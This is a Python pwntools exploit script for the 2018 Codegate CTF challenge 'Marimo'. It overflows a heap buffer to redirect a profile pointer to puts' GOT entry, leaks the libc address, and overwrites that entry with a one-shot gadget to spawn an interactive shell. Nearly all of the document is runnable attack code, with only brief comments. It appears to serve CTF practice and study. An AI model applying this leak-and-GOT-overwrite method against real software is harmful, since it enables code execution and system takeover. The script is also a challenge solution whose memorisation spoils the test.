[2018 Codegate] Marimo

from pwn import *
 
def smtm(s):
    s.send('show me the marimo\n')
    s.recvuntil(">>")
    s.send('tmp\n')
    s.recvuntil(">>")
    s.send('tmp\n')
    s.recvuntil(">>")
 
def mod(s,pay,sel):
    s.send('V\n')
    s.recvuntil(">>")
    s.send(sel)
    s.recvuntil(">>")
    s.send('M\n')
    s.recvuntil(">>")
    s.send(pay+'\n')
    s.recvuntil(">>")
    s.send('B\n')
    s.recvuntil(">>")
 
def view(s,sel):
    s.send('V\n')
    s.recvuntil(">>")
    s.send(sel)
    s.recvuntil("name : ")
    res = hex(u64((s.recvn(7))+"\x00"))
    s.send('B\n')
    s.recvuntil(">>")
    return res 
 
b = '/home/goat/PROB/2018 Codegate/marimo'
elf = ELF(b)
s = process(b)
 
puts_got = elf.got['puts']
 
dummy = 'A' * 56
leak = dummy + p64(puts_got)                
pay = dummy + p64(0x00) + p64(puts_got)
 
s.recvuntil(">>") 
smtm(s)
smtm(s)
 
sleep(3)
 
mod(s,leak,'0\n')                        # leak puts' libc addr
 
puts_addr = int((view(s,'1\n').split('0xa')[1]),16)
libc_base = puts_addr - 0x6f690
one_shot = libc_base + 0x45216
 
print '[+] Libc Base : ',hex(libc_base)
print '[+] OneShotGadget : ',hex(one_shot)
 
mod(s,pay,'0\n')                        # overwrite bowl[1][2](profile -> *puts' got
s.recvuntil(">>")    
 
s.send('V\n')
s.recvuntil(">>")
s.send('1\n')
s.recvuntil("name : ")
s.send('M\n')
s.recvuntil(">>")
s.send(p64(one_shot))                        # GOT Overwriting puts -> OneShotGadget
s.recvuntil(">>")
 
s.interactive()